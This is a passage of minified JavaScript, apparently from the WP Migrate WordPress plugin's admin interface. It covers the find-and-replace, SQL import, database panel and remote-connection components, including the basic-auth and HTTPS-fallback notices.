0 0 .196.7l3.03 1.652-3.03 1.652a.506.506 0 0 0-.196.7l.415.713a.513.513 0 0 0 .708.18l2.956-1.78-.074 3.433a.51.51 0 0 0 .51.518h.831a.51.51 0 0 0 .511-.518l-.074-3.432 2.956 1.78a.513.513 0 0 0 .708-.181l.415-.714a.506.506 0 0 0-.196-.699Z",fill:"#30578C"})),al||(al=r.createElement("circle",{cx:1.5,cy:11,r:1.5,fill:"#30578C"})));a.p;var il=e=>{var t=e.Icon,a=e.onChange,n=e.tooltip,i=e.index,l=e.className,s=e.value,c=e.disabled,o=e.type,d=e.isDisabled,m=(0,r.useState)(null!==s&&void 0!==s&&s),p=(0,y.A)(m,2),u=p[0],_=p[1],g=(0,r.useState)(""),f=(0,y.A)(g,2),b=f[0],v=f[1],E="search-replace-tooltip-".concat(i+o);return r.createElement("div",{className:"search-replace-option ".concat(l)},r.createElement(dt.A,{effect:"solid",place:"top",type:"light",delayUpdate:500,delayHide:50,border:!0,className:"action-tooltip search-replace-option-tooltip",id:E,getContent:()=>b!==E?null:(0,h.Ay)(n)}),r.createElement("input",{"data-for":E,"data-tip":n,className:d?"option-disabled":"",id:o+i,type:"checkbox",value:u,checked:u,disabled:null!==c&&void 0!==c&&c,onChange:e=>{_(e.target.checked),a&&a(e.target.checked)},onFocus:()=>v(E)}),r.createElement("label",{"data-for":E,"data-tip":n,htmlFor:o+i,className:"toggle ".concat(u?"active":""),onMouseOver:()=>v(E)},r.createElement(t,{className:"option-icon","aria-hidden":"true"}),r.createElement("span",{className:"screen-reader-text"},(0,h.Ay)(n))))},ll=e=>{var t=e.index,a=e.item,n=a.regex,l=(0,g.PQ)(),s=(0,g.Vt)(),c=s||Xi("regex",a),o=(0,i.wA)(),d=(0,r.useState)(n),m=(0,y.A)(d,2),p=m[0],u=m[1],_=(0,v.nv)((0,v.__)("Run a find and replace using a regular expression. Delimiters required and modifiers accepted.
Learn more about Regex"),"https://deliciousbrains.com/wp-migrate-db-pro/doc/find-and-replace/?utm_campaign=support%2Bdocs&utm_source=%7B$tracking_base%7D&utm_medium=insideplugin&utm_content=new%2Burl%2Bvalidation#regex-find-replace");c&&s&&(_=(0,g.Vc)("regex",l));var f=(0,r.useCallback)((0,zr.debounce)(((e,t)=>{o(Ki(e,t))}),300),[]);return(0,r.useEffect)((()=>{a.case_sensitive&&u(!1)}),[a]),(0,r.useEffect)((()=>{f(p,t),p?(o((0,ci.fj)({key:t,option:"replace_old_placeholder",value:'/\\[foo id="([0-9]+)"/'})),o((0,ci.fj)({key:t,option:"replace_new_placeholder",value:'[bar id="$1"'}))):(o((0,ci.fj)({key:t,option:"replace_old_placeholder",value:null})),o((0,ci.fj)({key:t,option:"replace_new_placeholder",value:null})))}),[a.replace_old,p]),r.createElement(il,{Icon:rl,type:"regex",tooltip:_,index:t,value:p,isDisabled:c,disabled:s,onChange:e=>{u(e),o((0,ci.fj)({key:t,option:"regex",value:e})),e&&o((0,ci.fj)({key:t,option:"case_sensitive",value:!1}))}})},sl=e=>{var t=e.index,a=e.item,n=a.case_sensitive,l=(0,i.wA)(),s=(0,r.useState)(n),c=(0,y.A)(s,2),o=c[0],d=c[1];return(0,r.useEffect)((()=>{a.regex&&d(!1)}),[a]),(0,r.useEffect)((()=>{l((0,ci.fj)({key:t,option:"case_sensitive",value:o})),o&&l((0,ci.fj)({key:t,option:"regex",value:!1}))}),[o]),r.createElement(il,{Icon:el,type:"case-sensitive",tooltip:(0,v.__)("Run a case-sensitive find and replace.","wp-migrate-db"),className:"case-sensitive",index:t,value:n,isDisabled:Xi("case_sensitive",a),onChange:e=>{d(e)}})};const cl=(0,i.Ng)((e=>({local_site:e.migrations.local_site})))((e=>{var t=e.index,a=e.item,n=e.local_site,i=n.this_url,l=n.this_path;return(0,g.b5)(i)===a.replace_old||l===a.replace_old?null:r.createElement("fieldset",{"aria-label":(0,v.__)("Find and replace row options","wp-migrate-db")},r.createElement(ll,{index:t,item:a}),r.createElement(sl,{index:t,item:a}))}));var ol=(e,t,a,n)=>{e.updateCustomSearchReplace({key:t,option:a,value:n})},dl=(e,t)=>{t.preventDefault();var a="keypress"===t.type;e.addItemCustomSearchReplace(a)};const ml=(0,i.Ng)((function(e){var t=(0,Q.ud)("status",e),a=(0,ma.o)("panelsOpen",e),n=(0,Q.jG)("search_replace",e);return{status:t,panelsOpen:a,custom_search_replace:n.custom_search_replace,search_replace:n,existingProfile:(0,Q.ud)("selected_existing_profile",e),intent:(0,Q.ud)("intent",e)}}),{updateCustomSearchReplace:ci.fj,reorderCustomSearchReplace:ci.$p,addItemCustomSearchReplace:ci.CC,deleteItemCustomSearchReplace:ci.gE,setCustomSearchReplace:ci.OU})((e=>{var t=e.custom_search_replace,a=e.panelsOpen,n=e.status,l=e.search_replace,c=e.intent,o=e.existingProfile,d=(0,i.wA)();(0,r.useEffect)((()=>{if("savefile"===c&&null!==o){var e=a.filter((e=>"custom_fields"!==e));d((0,H.TA)(e))}}),[]);var m=l.custom_search_domain_locked,p=t.map(((t,a)=>r.createElement(Fi.sx,{key:t.id,draggableId:t.id,index:a},((n,i)=>{var l,c="custom-search custom-search-row row".concat(i.isDragging?" dragging":"");return r.createElement("fieldset",(0,s.A)({key:a,ref:n.innerRef},n.dragHandleProps,n.draggableProps,{style:(l=n.draggableProps.style,i.isDragging,(0,w.A)({userSelect:"none"},l)),className:c,"aria-label":(0,v.__)("Find and replace row","wp-migrate-db")}),r.createElement("div",{className:"handle cell"},r.createElement(Hi,{"aria-hidden":"true"})),r.createElement("div",{className:"cell"},r.createElement("input",{type:"text",onChange:t=>{ol(e,a,"replace_old",t.target.value)},value:t.replace_old,placeholder:t.replace_old_placeholder,className:"consolas replace-old".concat(m&&0===a?" disabled":""," ").concat(!1===t.isValidRegex&&!0===t.regex?"invalid-expression":""),disabled:m&&0===a,"aria-label":(0,v.__)("Find","wp-migrate-db"),autoFocus:t.focus})),r.createElement("div",{className:"custom-search-arrow cell"},r.createElement("button",{onClick:()=>((e,t,a)=>{e.updateCustomSearchReplace({key:t,option:"replace_new",value:a})})(e,a,t.replace_old)},r.createElement(oi.h,{"aria-hidden":"true"}),r.createElement("span",{className:"screen-reader-text"},(0,v.__)("Copy find field to replace field","wp-migrate-db")))),r.createElement("div",{className:"cell"},r.createElement("input",{type:"text",onChange:t=>{ol(e,a,"replace_new",t.target.value)},value:t.replace_new,placeholder:t.replace_new_placeholder,className:"consolas","aria-label":(0,v.__)("Replace","wp-migrate-db")})),r.createElement("div",{className:"close cell"},r.createElement("button",{onClick:()=>{((e,t)=>{e.deleteItemCustomSearchReplace(t)})(e,a)}},r.createElement(Zi,{"aria-hidden":"true"}),r.createElement("span",{className:"screen-reader-text"},(0,v.__)("Remove row","wp-migrate-db")))),r.createElement("div",{className:"cell search-replace-row-options"},r.createElement(cl,{index:a,item:t})))})))),u=Li()(t,(function(e){return e.replace_old.length>0}));return r.createElement(Ot.A,(0,s.A)({title:e.title,panelName:e.panelName,isOpen:!0,selected:u,header:r.createElement(fi,(0,s.A)({count:t.length,panelsOpen:a,title:e.title,panelKey:"custom_fields"},e)),panelSummary:r.createElement(ui,(0,s.A)({},e,{fields:t,type:e.panelName,searchKeys:{search:"replace_old",replace:"replace_new"},panelsOpen:e.panelsOpen})),bodyClass:"custom-search-replace search-replace free"},e),r.createElement(ri,{className:"custom-search"},r.createElement(Fi.JY,{onDragEnd:a=>{if(a.destination){var n=Bi(t,a.source.index,a.destination.index);e.reorderCustomSearchReplace(n)}}},r.createElement(Fi.gL,{droppableId:"droppable"},((e,t)=>r.createElement("fieldset",(0,s.A)({ref:e.innerRef,style:(t.isDraggingOver,{}),"aria-label":(0,v.__)("Custom Find & Replace","wp-migrate-db")},e.droppableProps),p,e.placeholder))))),(0,ca.F)(n,"COMMON_SEARCH_REPLACE_EMPTY")&&r.createElement(z.A,{type:"danger"},(0,h.Ay)((0,v.nv)((0,v.__)('Please make sure all find & replace fields have values above. More information about these fields can be found in our documentation.',"wp-migrate-db"),"https://deliciousbrains.com/wp-migrate-db-pro/doc/find-and-replace/?utm_campaign=support%2Bdocs&utm_source={$tracking_base}&utm_medium=insideplugin&utm_content=new%2Burl%2Bvalidation"))),(0,ca.F)(n,"COMMON_SEARCH_REPLACE_INVALID_REGEX")&&r.createElement(z.A,{type:"danger"},(0,h.Ay)((0,v.nv)((0,v.__)("Please make sure all 'Regular Expression' find & replace patterns are valid. Learn more about Regex","wp-migrate-db"),"https://deliciousbrains.com/wp-migrate-db-pro/doc/find-and-replace/?utm_campaign=support%2Bdocs&utm_source=%7B$tracking_base%7D&utm_medium=insideplugin&utm_content=new%2Burl%2Bvalidation#regex-find-replace"))),r.createElement("p",null,r.createElement("button",{className:"btn btn-sm btn-stroke",onClick:t=>dl(e,t),onKeyPress:t=>dl(e,t)},r.createElement("div",{className:"flex-container"},r.createElement("div",{className:"btn-sm-icon icon-16"},r.createElement(Gi,{"aria-hidden":"true"})),(0,v.__)("Add Row","wp-migrate-db")))))}));const pl=r.forwardRef(((e,t)=>{var a=e.panelsOpen,n=void 0===a?[]:a,i=e.registeredPanels,l=void 0===i?[]:i,s=e.onClick,c=n.some((e=>H.w3.includes(e)&&l.includes(e)))?(0,v.__)("Collapse All","wp-migrate-db"):(0,v.__)("Expand All","wp-migrate-db");return r.createElement("button",{ref:t,className:"link",onClick:s,"aria-label":(0,v.nv)("%s %s",c,(0,v.__)("database panels.","wp-migrate-db"))},c)}));var ul,_l=b.Ay.div(ul||(ul=(0,f.A)(["\n display: grid;\n grid-template-columns: repeat(2, 1fr);\n align-items: start;\n column-gap: 1.35rem;\n"])));const gl=(0,i.Ng)((function(e){var t,a=null!==(t=e.migrations.connection_info)&&void 0!==t?t:{},n=a.connecting,r=void 0!==n&&n,i=a.status,l=e.migrations,s=l.local_site,c=l.remote_site,o=e.migrations.current_migration.intent,d=e.profiles.current_profile;return{connecting:r,status:i,local_site:s,remote_site:c,intent:o,current_migration:e.migrations.current_migration,panels:e.panels,search_replace:e.migrations.search_replace,current_profile:d}}),{updateSelectedTables:W.aE,updatePanelTitle:H.AJ,setCustomSearchReplace:ci.OU,setMigrationEnabled:W.ub})((e=>{var t=(0,i.wA)(),a=e.current_migration,n=a.intent,l=a.databaseEnabled,s=e.local_site,c=e.remote_site,o=void 0===c?{}:c,d=s.this_tables,m=s.this_table_sizes_hr,p=o.tables,u=o.table_sizes_hr,_=(0,g.nT)(n,s,o),f=_.disabled,b=_.uploads_dir,h=(0,Oi.oI)(n,{tables:d,tableSizes:m},{tables:p,tableSizes:u},"migration"),E=h.tables,w=h.tableSizes,y=(0,r.useRef)(),A=d,k=m;"push"===n&&(A=p,k=u);var x=e.current_migration.tables_option,N=rt()(["savefile","backup_local"],n)&&f;if((0,r.useEffect)((()=>{N&&e.setMigrationEnabled(!1),"import"!==n&&null===e.current_profile&&"all"===x&&e.updateSelectedTables(E)}),[]),N)return r.createElement(Pi,{uploads_dir:b});var S=e.local_site.this_prefix,T=e.local_site.this_post_types,P=e.search_replace.standard_search_visible;if("pull"!==n&&"import"!==n||(S=e.remote_site.prefix,T=e.remote_site.post_types),e.connecting)return null;var O=Ai(e),C=["push","pull","savefile"].includes(n),R=l||!C,D=()=>{t((0,G.b)(V.cM))};return r.createElement("div",null,r.createElement(Ot.A,{title:e.panels.panelTitles.database,panelName:"database",enabled:l,hasInput:C,hideArrow:!0,panelOpen:l,panelSummary:R&&r.createElement(pl,{ref:y,onClick:()=>{t((0,H.lJ)())},panelsOpen:e.panels.panelsOpen,registeredPanels:e.panels.registeredPanels}),toggle:()=>{D()},callback:e=>{if("checkbox"!==e.target.type&&(!y.current||y.current!==e.target)){if(!l)return D();t((0,H.lJ)())}},className:C?"database_panel_has_controls":"database_panel_no_controls"},r.createElement(_l,null,r.createElement("div",null,"import"!==n&&r.createElement(Ti,{title:(0,v.__)("Tables","wp-migrate-db"),tables:E,tableSizes:w,prefix:S,intent:n,panelName:"tables",childPanel:!0}),r.createElement(ti,{title:(0,v.__)("Advanced Options","wp-migrate-db"),intent:n,panelName:"advanced_options",childPanel:!0})),r.createElement("div",null,!rt()(["savefile","backup_local"],n)&&r.createElement(Ii,{title:ki[n].backup,tables:A,tableSizes:k,prefix:S,intent:n,panelName:"backups",childPanel:!0}),"import"!==n&&r.createElement(Ni,{title:(0,v.__)("Post Types","wp-migrate-db"),postTypes:T,intent:n,panelName:"post_types",childPanel:!0}))),rt()(["push","pull","import","savefile"],n)&&P&&r.createElement(wi,{title:(0,v.__)("Standard Find & Replace","wp-migrate-db"),panelName:"standard_fields",childPanel:!0}),"backup_local"!==n&&r.createElement(ml,{title:(0,v.__)("Custom Find & Replace","wp-migrate-db"),prefix:S,intent:n,panelName:"custom_fields",childPanel:!0}),O.map(((e,t)=>r.createElement(r.Fragment,{key:t},e)))))}));var fl=a(92232),bl=a(58215),hl=a(61809),vl=e=>async(t,a)=>{if(e.target.readyState!==FileReader.DONE)return!1;var n;try{n=await(0,g.ty)("/get-import-info",{file_data:e.target.result})}catch(Tr){throw console.error(Tr),new Error(Tr)}if(t((e=>(t,a)=>{var n=(0,Q.jG)("local_site",a());return"import"===(0,Q.ud)("intent",a())&&"undefined"!==typeof e.data.multisite&&"undefined"!==typeof e.data.subsite_export&&("false"===n.is_multisite&&"true"===e.data.multisite&&"true"!==e.data.subsite_export||"true"===n.is_multisite&&"false"===e.data.multisite)})(n)))throw new Error("mst-error");if("undefined"!==typeof n.wpmdb_error&&1===n.wpmdb_error)throw new Error(n.body);return n},El=e=>(t,a)=>t((0,G.b)(fl.vC,e)),wl=e=>(t,a)=>t((0,G.b)(fl.B2,e)),yl=(e,t,a)=>(n,r)=>{var l,s=(0,Q.ud)("intent",r());n((l={upload_file:t,file_uploaded:!0,file_size:a},(e,t)=>(e((0,G.b)(bl.WU)),e((0,G.b)(fl.mp,l)))));var c=!0;e.data.tables||(c=!1,n(El("NON_MDB_IMPORT_ERROR")),n((0,ci.OU)("import",!0))),(0,i.vA)((()=>{n((0,G.b)(fl.PM,e.data.tables)),n((0,ci.yt)(c)),n((0,W.aE)(e.data.tables||[])),n((0,hl.Xg)(e,!1,s))}));var o="PREFIX_MISMATCH";if((0,g.g)(e.data.prefix)&&e.data.tables)return n(El(o)),o};const Al=e=>{var t=e.migrations.local_site.is_multisite,a=(0,v.nv)((0,v.__)('It looks like the file you are trying to import is from a multisite install and this install is a single site. To run this type of import you\'ll need to use the Multisite tools addon to export a subsite as a single site. Learn more \xbb',"wp-migrate-db"),"https://deliciousbrains.com/wp-migrate-db-pro/doc/multisite-tools-addon/","https://deliciousbrains.com/wp-migrate-db-pro/doc/multisite-tools-addon/#export-subsite");return"true"===t&&(a=(0,v.nv)((0,v.__)('It looks like the file you are trying to import is from a single site install and this install is a multisite. This type of migration isn\'t currently supported. Learn more \xbb',"wp-migrate-db"),"https://deliciousbrains.com/wp-migrate-db-pro/doc/multisite-tools-addon/")),r.createElement(z.A,{type:"danger"},(0,h.Ay)(a))};var kl=a(56675),xl=e=>{var t=e.panels.panelsOpen,a=e.panelName,n=e.fileUploaded,i=e.uploadFile;return t.includes(a)?null:r.createElement("div",{className:"panel-summary"},n?i:"")};const Nl=(0,i.Ng)((e=>{var t=(0,kl.selectFromImportData)("status",e),a=(0,Q.ud)("intent",e),n=(0,Q.jG)("import_data",e),r="LOADING"===t,i=(0,kl.selectFromImportData)("error",e),l=(0,Q.vg)("prefix",e),s=e.migrations;return{intent:a,import_status:t,loading:r,import_error:i,remote_prefix:l,import_data:n,panels:e.panels,migrations:s}}),{updateOpenPanels:H.TA,updateMigrationPanels:H.Vv,updatePanelTitle:H.AJ,addAdditionalPanel:H.lS,removePanel:H.FC,setFileUploadFilePath:e=>(t,a)=>t((0,G.b)(fl.Wm,e)),updateImportStatus:El,resetImportData:()=>(e,t)=>e((0,G.b)(fl.By)),initialFileUpload:(e,t,a)=>async(t,a)=>{var n;try{(await(async(e,t)=>{var a=new FileReader,n=(0,y.A)(t,1)[0];if(!t.length)throw new Error(window.wpmdb_strings.please_select_sql_file);if(".sql"!==n.name.slice(-4)&&".sql.gz"!==n.name.slice(-7))throw new Error(window.wpmdb_strings.invalid_sql_file);var r=t[0].slice(0,1024e3);return a.readAsDataURL(r),a})(0,e.current.files)).addEventListener("loadend",(async a=>{t(El("LOADING"));try{n=await t(vl(a))}catch(Tr){var r=Tr.message;return t("mst-error"===r?El("MST_WARNING"):wl({error:!0,message:Tr.message})),t((0,H.FC)("database")),!1}t(El(""));var i,l=e.current.files[0].name,s=e.current.files[0].size;t((i=e.current.files[0],(e,t)=>{e((0,G.b)(fl.Gs,i))}));var c=t(yl(n,l,s));t((0,W.ub)(!0));var o=["database","custom_fields","standard_fields"];return n.data.tables&&"PREFIX_MISMATCH"!==c||o.push("import"),t((0,H.TA)(o)),t((0,H.lS)("database","import"))}))}catch(Tr){t(wl({error:!0,message:Tr.message})),t((0,H.FC)("database")),t((0,W.ub)(!1))}}})((e=>{var t=e.import_status,a=e.loading,n=e.import_error,i=e.remote_prefix,l=e.import_data,c=e.panels.panelsOpen,o=(0,r.useState)((0,v.__)("No file selected","wp-migrate-db")),d=(0,y.A)(o,2),m=d[0],p=d[1],u=(0,r.useRef)(),_=()=>r.createElement(r.Fragment,null,(0,h.Ay)((0,v.__)("Unrecognized File — This file does not appear to have been generated by WP Migrate. Importing files generated by phpMyAdmin, WP-CLI, etc. should work, but we recommend using WP Migrate's Export feature.","wp-migrate-db"))," ",r.createElement("a",{href:"https://deliciousbrains.com/wp-migrate-db-pro/doc/why-use-our-export/",target:"blank"},(0,v.__)("Why?","wp-migrate-db")));if((0,g.Vt)())return null;var f=!1,b=["import-panel"];return c.includes("import")||(f=!0,b.push("has-divider")),r.createElement(Ot.A,(0,s.A)({title:e.panels.panelTitles.import,panelName:"import",panelSummary:r.createElement(xl,(0,s.A)({},e,{fileUploaded:l.file_uploaded,uploadFile:l.upload_file,panelName:"import"})),forceDivider:f,bodyClass:"import-panel",className:b.join(" ")},e),r.createElement("div",{className:"flex-container import-message"},r.createElement("input",{type:"file",ref:u,id:"import-file",onChange:t=>{e.resetImportData(),u.current.files[0]&&p(u.current.files[0].name),e.initialFileUpload(u,t,e.baseTitle)},className:"input-button"}),r.createElement("label",{htmlFor:"import-file",className:"btn btn-stroke btn-sm"},"choose file"),r.createElement("span",{className:"muted"},m)),a&&r.createElement("h3",null,"Loading file..."),n.error&&r.createElement(z.A,{type:"danger"},n.message),"PREFIX_MISMATCH"===t&&r.createElement(z.A,{type:"danger"},r.createElement("h4",{style:{color:wa.aw}},(0,v.__)("Warning: Different Table Prefixes","wp-migrate-db")),(0,v.nv)((0,v.__)('Whoa! We\'ve detected that the database table prefix in the import file does not match the database prefix of this install. Clicking the Import button below will create new database tables with the prefix "%s"',"wp-migrate-db"),i)),"NON_MDB_IMPORT_ERROR"===t&&r.createElement(z.A,{type:"danger"},r.createElement(_,null)),"MST_WARNING"===t&&r.createElement(Al,e))}));var Sl=a(24930),Tl=e=>{var t=e.e,a=e.field,n=e.dispatch,r=e.authState,i=e.connectionState,l=(0,w.A)({},r);l[a]=t.target.value,n((0,Sl.setConnectionStatus)("auth_form",l));var s=(0,w.A)({},i);if(s.value){var c=((e,t)=>{var a=(0,w.A)({},e),n=t.username,r=t.password,i=e.url,l=new URL(i),s=l.host+l.pathname;return a.url="".concat(l.protocol,"//").concat(n,":").concat(r,"@").concat(s),0===n.length&&0===r.length&&(a.url="".concat(l.protocol,"//").concat(s)),a.value=a.url+"\n"+a.key,a})(s,{username:encodeURIComponent(l.username),password:encodeURIComponent(l.password)});n((0,Sl.updateConnectionState)(c))}};const Pl=e=>{var t=(0,i.wA)(),a=(0,i.d4)((e=>e.migrations.current_migration.connected)),n=(0,i.d4)((e=>e.migrations.connection_info.status)).auth_form,l=(0,i.d4)((e=>e.migrations.connection_info)).connection_state;return a?null:r.createElement("div",{className:"grid-container auth-form"},r.createElement("input",{type:"text",placeholder:(0,v.__)("Username"),onChange:e=>Tl({e:e,field:"username",dispatch:t,authState:n,connectionState:l}),value:n.username,key:"username"}),r.createElement("input",{type:"text",placeholder:(0,v.__)("Password"),onChange:e=>Tl({e:e,field:"password",dispatch:t,authState:n,connectionState:l}),value:n.password,key:"password"}))};const Ol=e=>r.createElement(z.A,{type:"warning"},r.createElement("strong",null,(0,v.__)("HTTPS Disabled","wp-migrate-db"))," \u2014"," ",(0,v.__)("We couldn't connect over HTTPS but regular HTTP appears to be working so we've switched to that. If you run a push or pull, your data will be transmitted unencrypted. Most people are fine with this, but just a heads up.","wp-migrate-db"));var Cl=a(57269),Rl=a(16780);const Dl=e=>{var t=e.shortName,a=e.success,n=(0,r.useState)(!1),l=(0,y.A)(n,2),s=l[0],c=l[1],o=(0,i.d4)((e=>e.theme_plugin_files)),d=null;return o&&(d=o.remotePluginUpdated),(0,r.useEffect)((()=>{t===Cl.o6?c(d):c(a),setTimeout((()=>{c(!1)}),1500)}),[d,a]),r.createElement(Rl.A,{in:s,timeout:500,classNames:"settings-node",id:Zn()(),unmountOnExit:!0},r.createElement("div",null,(0,v.__)("Updated Successfully","wp-migrate-db"),r.createElement("div",{className:"blue-check"},r.createElement(it.lB,null))))};var Il="SET_UPDATE_ERROR",Ml="SET_UPDATING",Ll="SET_UPDATE_SUCCESS",Fl="SET_WILL_ENABLE_BETA_UPDATES",Bl="SET_PLUGIN_CHECK_AGAIN_TEXT",Ul=(e,t)=>{switch(t.type){case Il:return(0,w.A)((0,w.A)({},e),{},{updateError:t.payload});case Ml:return(0,w.A)((0,w.A)({},e),{},{updating:t.payload});case Ll:return(0,w.A)((0,w.A)({},e),{},{updateSuccess:t.payload});case Fl:return(0,w.A)((0,w.A)({},e),{},{willEnableBetaUpdates:t.payload});case Bl:return(0,w.A)((0,w.A)({},e),{},{checkAgainText:t.payload});default:return e}};const zl=(0,i.Ng)((e=>({remote_site:e.migrations.remote_site,intent:e.migrations.current_migration.intent,theme_plugin_files:e.theme_plugin_files})))((e=>{var t=(0,r.useReducer)(Ul,{updateError:"",checkAgainText:"",updating:!1,updateSuccess:!1,willEnableBetaUpdates:!1}),a=(0,y.A)(t,2),n=a[0],l=a[1],s=n.updateError,c=n.updating,o=n.updateSuccess,d=n.checkAgainText,m=n.willEnableBetaUpdates,p=e.intent,u=e.remote_site,_=e.shortName,f=e.pluginSlug,b=e.remoteUpgradable,E=e.theme_plugin_files,w=null;E&&(w=E.remotePluginUpdated);var A=u.beta_optin,k=(0,i.wA)(),x=f?(0,v.__)("Could not update addon on remote site — %s","wp-migrate-db"):(0,v.__)("Could not update plugin on remote site — %s","wp-migrate-db");(0,r.useEffect)((()=>{l((0,G.b)(Il,e.message)),!cr()(u)&&e.version.includes("b")&&!A&&b&&(l((0,G.b)(Fl,!0)),l((0,G.b)(Bl,(0,v.nv)((0,v.__)("Enable beta updates on remote and upgrade to version %s","wp-migrate-db"),e.version))))}),[e]);var N=async()=>{l((0,G.b)(Ml,!0));var e=await k((0,Sl.updatePluginOnRemote)(f));if(l((0,G.b)(Ml,!1)),!e.success){var t=(0,ct.A)(e);return l((0,G.b)(Il,(0,v.nv)(x,t))),l((0,G.b)(Bl,(0,v.__)("Try again","wp-migrate-db"))),void l((0,G.b)(Ll,!1))}l((0,G.b)(Ll,!0)),setTimeout((()=>{k((0,Sl.setConnectionStatus)("update_plugin_on_remote",!1));var e=(0,g.dy)();if(!1!==e){var t=(0,y.A)(e,2),a=t[0],n=t[1];k(X({path:"unsaved"===a?"unsaved":"saved",params:{id:n}}))}else k((0,Sl.connectToRemote)(p))}),0)},S=e=>{var t=e.initialError,a=e.updateError;if(!b||o||!a)return null;var n=a!==t||m?d:(0,v.__)("Update plugin on remote","wp-migrate-db");return r.createElement("button",{onClick:N,className:"link"},n)},T=o||w&&Cl.o6===_,P=r.createElement("div",null,!T&&r.createElement(r.Fragment,null,(0,h.Ay)(s)," ",f?"":" ",r.createElement(S,{updateError:s,initialError:e.message,remoteUpgradable:b}),c&&r.createElement(it.xj,{className:"remote-update-spinner"})),r.createElement(Dl,{shortName:_,success:o}));return cr()(f)&&b?r.createElement(z.A,{type:"danger"},P):r.createElement("div",{className:"full flex-container version-mismatch-error"},P)}));const Gl=e=>{var t=e.message,a=e.intent,n=(0,r.useState)(t),l=(0,y.A)(n,2),s=l[0],c=l[1],o=(0,r.useState)(!1),d=(0,y.A)(o,2),m=d[0],p=d[1],u=(0,i.wA)(),_=async()=>{p(!0);var e=await u((0,Sl.copyLicenseToRemote)());if(!e.success){var t=(0,ct.A)(e);return c("".concat((0,v.__)("Could not copy license to remote site —","wp-migrate-db")," ").concat(t)),p(!1),null}p(!1),u((0,Sl.setConnectionStatus)("copy_to_remote",!1)),u((0,Sl.connectToRemote)(a))},g=e=>{var t=e.initialError,a=e.copyError,n=a!==t&&a?(0,v.__)("Try again.","wp-migrate-db"):(0,v.__)("Copy license to remote.","wp-migrate-db");return r.createElement("button",{onClick:_,className:"link"},n)};return r.createElement(r.Fragment,null,r.createElement(z.A,{type:"danger"},(0,h.Ay)(s||t),"\xa0",r.createElement(g,{initialError:t,copyError:s}),m&&r.createElement("div",{className:"relative"},r.createElement(it.xj,{className:"svg-spinner"}))))};const jl=e=>{var t=e.connection_info.status,a=t.auth_form,n=t.show_auth_form,i=t.error,l=t.error_msg,c=t.ssl_notice,o=t.update_plugin_on_remote,d=t.copy_to_remote,m=t.connecting,p=e.connection_info.connection_state,u=e.current_migration,_=u.connected,g=u.intent,f=[];return c&&(_||i)&&f.push(r.createElement(Ol,null)),n&&f.push(r.createElement(Pl,{authState:a,connectionState:p,updateConnectionState:e.updateConnectionState})),m||(d&&f.push(r.createElement(Gl,{message:l,intent:g})),!i||_||d||(o?f.push(r.createElement(zl,(0,s.A)({message:l},e,{intent:g,remoteUpgradable:"true"}))):""!==l&&f.push(r.createElement(z.A,{type:"danger"},(0,h.Ay)(l))))),f};const Vl=()=>{var e=(0,i.wA)(),t=(0,i.d4)((e=>e)),a=e((0,hi.W5)("wpmdb_post_connection_errors",{warning:[],info:[],danger:[]},t));return r.createElement(r.Fragment,null,Object.keys(a).filter((e=>a[e].length>0)).map(((e,t)=>r.createElement(z.A,{key:t,type:e},r.createElement("ul",null,a[e].map((e=>r.createElement("li",{key:t},(0,h.Ay)(e)))))))))};var Hl,Wl=(0,b.Ay)(Ot.A)(Hl||(Hl=(0,f.A)(["\n h2 {\n margin: 15px 0;\n }\n\n textarea {\n margin-bottom: 10px;\n }\n\n button.btn-sm {\n margin-top: 10px;\n }\n\n &.disabled {\n opacity: 0.6;\n }\n"])));var ql=e=>{var t=e.panelsOpen,a=e.connected,n=e.connection_info.connection_state.url;return t.includes(e.panelName)?null:r.createElement("div",{className:"panel-summary"},a?n:"")};const Zl=(0,i.Ng)((function(e){var t=(0,Q.jG)("current_migration",e),a=e.panels.panelsOpen,n=(0,Q.jG)("local_site",e),r=(0,Q.jG)("connection_info",e);return{current_migration:t,status:r.status,panels:e.panels,connection_info:r,panelsOpen:a,local_site:n}}))((e=>{var t=(0,i.wA)(),a=(0,g.Vt)(),n=!1,l=["connect-panel"];e.panels.panelsOpen.includes("connect")||(n=!0,l.push("has-divider"));var c,o,d=(c=Q.jG,o="current_migration",(0,i.d4)((e=>c(o,e)))),m=d.intent,p=d.connected;(0,r.useEffect)((()=>{p||t((0,hi.VT)("wpmdb_post_connection_errors"))}),[p]);var u=e.connection_info.connection_state,_=e.connection_info.status,f=_.connecting,b=_.button_status,h=(0,r.useRef)(),E=(0,i.d4)((e=>e.api.abort_controller));(0,r.useEffect)((()=>()=>{E.hasOwnProperty("connect_to_remote")&&E.connect_to_remote.abort()}),[]);var w=jl(e),y=(e=>{var t="",a=e.connection_info.status,n=a.connecting,r=a.button_status;return(n||"disabled"===r)&&(t=" btn-disabled"),t})(e);return r.createElement(r.Fragment,null,r.createElement(Wl,(0,s.A)({title:e.panels.panelTitles.connect,panelName:"connect",panelSummary:r.createElement(ql,(0,s.A)({panelName:"connect"},e,{connected:p})),bodyClass:"connect-panel",className:l.join(" "),forceDivider:n},e),r.createElement("div",{className:"connect-to-remote"},r.createElement("textarea",{placeholder:(0,v.__)("Connection Info - Site URL & Secret Key","wp-migrate-db"),onChange:e=>(e=>{if(f)return!1;t((0,Sl.changeConnection)(e.target.value))})(e),onPaste:e=>{t((0,Sl.setConnectionStatus)("pasted",!0))},onFocus:e=>(()=>{if(!p)return null;var e=void 0;if(p&&"hidden"===b&&(e=window.confirm((0,v.__)("If you change the connection details, you will lose any replaces and table selections you have made below. Do you wish to continue?","wp-migrate-db"))),e)return t((0,Sl.setConnectionStatusBatch)({button_status:"",show_auth_form:!1,error_msg:""})),t((0,Sl.resetMigration)(["connect"])),!1;!1===e&&h.current.blur()})(),value:u.value||"",className:f?"disabled consolas":"consolas",ref:h}),w.map(((e,t)=>r.createElement(r.Fragment,{key:t},e))),f&&r.createElement("p",{className:"full connecting-message"},r.createElement("span",null,"Establishing connection to remote server, please wait..."),r.createElement(it.xj,null))),"hidden"!==b&&!a&&r.createElement("div",null,r.createElement("button",{onClick:()=>function(){var e=arguments.length>0&&void 0!==arguments[0]&&arguments[0];if(f||""!==b||a)return!1;t((0,Sl.connectToRemote)(m,e))}(),className:"btn btn-sm".concat(y)},(0,v.__)("Connect","wp-migrate-db")))),r.createElement(Vl,null))}));var Ql=a(78687),Yl=a(56237),Jl=(a(97075),a(50403)),Kl=a(87135),Xl=a(42686),$l=a(86140),es=a(4173),ts={};const as=function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:ts;return(0,es.Ay)(e,(t=>e))};var 